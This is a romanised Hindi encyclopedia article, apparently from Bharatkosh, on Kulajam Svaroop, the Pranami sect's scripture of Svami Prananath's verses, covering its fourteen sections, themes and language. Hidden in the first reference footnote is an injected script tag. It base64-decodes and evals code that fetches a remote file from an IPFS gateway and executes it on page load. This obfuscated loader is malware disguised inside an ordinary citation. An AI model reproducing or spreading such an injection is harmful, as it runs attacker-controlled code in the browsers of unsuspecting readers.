कुलजम स्वरूप
kulajam svaroop namak granth svami prananath dvara pranit hai. 'pranami sampraday' ki anushruti ke adhar par kaha ja sakata hai ki svami prananath dvara pranit 18 hazar chaupaeeyaan is brihat granth mean sangrahit haian. isaka sampadan lagabhag san 1694 ee. mean svami prananath ke paramadham pravesh ke bad unake ek pramukh shishy kesodas ne panna mean kiya tha. usi roop mean pranami sampraday mean aj tak yah granth surakshit hai.[1]
mahattv
'guru granth sahib' ki tarah kulajam svaroop bhi ek dharm granth ke roop mean pratyek pranami mandir mean pooja jata hai. panna ke 'pranami mandir' mean, jisaka nirman maharaj chhatrasal ne karavaya tha, ek pranami pathashala lagati hai, jisamean pranami dharm ke balakoan ko kee varshoan tak is granth ka adhyayan karaya jata hai. is granth ki anek hastalikhit pratiyaan dekhane ko mili haian. yatr-tatr kuchh shabd roopoan ki bhinnata ke atirikt ve sab path ki samanata prakat karati haian. is drishti se hindi ke hastalikhit granthoan mean isaka vishesh mahattv hai.
arth
pranami sampraday mean is granth ko 'kulajam svaroop', 'svaroop sahab', 'taratamy sagar' athava 'nijanand sagar' ke nam se abhihit kiya jata hai. 'kulajam svaroop' ka arth hai "prananath ki un baniyoan ka poorn sangrah (kulajama), jinamean svamiji ka vastavik svaroop surakshit hai." chhatrasal ke samasamayik shishy brajabhooshan dvara rachit 'vrittaant muktavali' mean kaha gaya hai ki- "bani shrimukh ki sakal kulajam lila roop".[2] svargiy d aauktar hiralal ne 'kulajam' ko arabi kulajam (sagar) ka tadbhav roopaantar mana hai.[1]
khand
'kulajam svaroop' lagabhag 1000 prishthoan ka brihadakar granth hai, jise 14 khandoan mean vibhajit kiya gaya hai. ye khand nimnalikhit haian[1]-
- ras (1010 chaupaeeyaan, gujarati bhasha)
- prakash (1176 hindi anuvad sahit gujarati chaupaeeyaan)
- shatsath (230 gujarati chaupaeeyaan)
- kalas (168 hindi anuvad sahit gujarati chaupaeeyaan)
- sanandh (1691 hindi anuvad sahit hindustani chaupaeeyaan)
- kirantan (2103 hindi ya hindustani chaupaeeyaan)
- khulasa (1019 hindi ya hindustani chaupaeeyaan)
- khilavat (1094 hindi ya hindustani chaupaeeyaan)
- parakarama (2484 hindi ya hindustani chaupaeeyaan)
- sagar (1128 hindi ya hindustani chaupaeeyaan)
- siangar (2209 hindi ya hindustani chaupaeeyaan)
- siandhi bani (599 hindi anuvad sahit sindhi chaupaeeyaan)
- maraphat (1034 hindi ya hindustani chaupaeeyaan)
- kyamatanama chhota o kyamatanama b da (667 hindi ya hindustani pad)
svami prananath ki jivani se sambaddh baniyoan mean upayukt granthoan ki rachana-tithi, sthan adi ka spasht ullekh milata hai. svami prananath ne sabase pahale san 1655 ee. mean pramodhapuri (bandigrih) mean baniyoan ki rachana pratambh ki thi. usake bad soorat, anoopashahar tatha panna mean unhoanne san 1694 ee. tak baniyoan ka pranayan kiya.
varny-vishay
'kulajam svaroop' ka mukhy varny-vishay pranami dharm ya nijanand sampraday ka vivechan hi hai. yah dharm ek sudhar andolan ke roop mean prarambh hua tha. kshar-akshar se pare aksharatit par-brahm shrikrishna isake upasy haian. 'ras', 'prakash', 'shatsat' aur 'kalas' mean krishna-bhakti ka hi vivechan milata hai. 'sanandh' mean bhagavat puran aur quran ka samanvay kiya gaya hai. 'khulasa', 'maraphat', 'kyatanama' adi mean islam dharm ke samanvay ka prayatn kiya gaya hai. 'parakarama' mean paramadham ke saundary ka varnan hai. isase svami prananath ke vistrit bhaugolik tatha vanaspati jagath, vastukala, chitrakala aur moortikala vishayak jnan ka parichay milata hai.[1]
'sagar' aur 'siangar' mean radha aur krishna ke virat shrriangar tatha unaki athoan yam ki lila ka varnan hai. shuddh kavy ki drishti se kirantan ke pad hi poorn roop se sahityik kahe ja sakate haian. kirantan namak granth ko chho dakar any sabhi granth chaupaee, chhand mean likhe gaye haian. kirantan mean pad shaili ka prayog hua hai, parantu vastav mean ye pad tukaant gady matr kahe ja sakate haian. prananath dvara prayukt chaupaee chhand mean bhi anek dosh paye jate haian.
bhasha
svami prananath ne apani bhasha ko 'hindostani' (hindavi ya hindustani) kaha hai. inaki bhasha mean kh di boli ya hindavi ka madhyakalin roop surakshit hai. usamean tadbhav shabdoan ki pradhanata hai. sanskrit, farasi, arabi adi ke shabd bhi svatantratapoorvak tadbhat roop mean hi prayukt hue haian. islam dharm ke vivechan mean farasi aur arabi shabdoan ki bahulata se bhasha kuchh durooh ho gayi hai. prananath ki bhasha mean pratikatmak shabdoan ka prayog prachurata se hua hai.
svami prananath ne apane ko sachcha hindoo aur sachcha musalaman ya momin ghoshit kiya hai aur mugal badashah aurangazeb ke kattar anuyayiyoan ko sarvatr kaphir bataya hai. dharmik, sahityik, samajik tatha bhashik drishti se 'kulajam svaroop' ek amooly granth kaha ja sakata hai. abhi tak yah keval hastalikhit roop mean hi prapt hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 96 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vrittaant muktavali, prakaran 66, chaupaee 14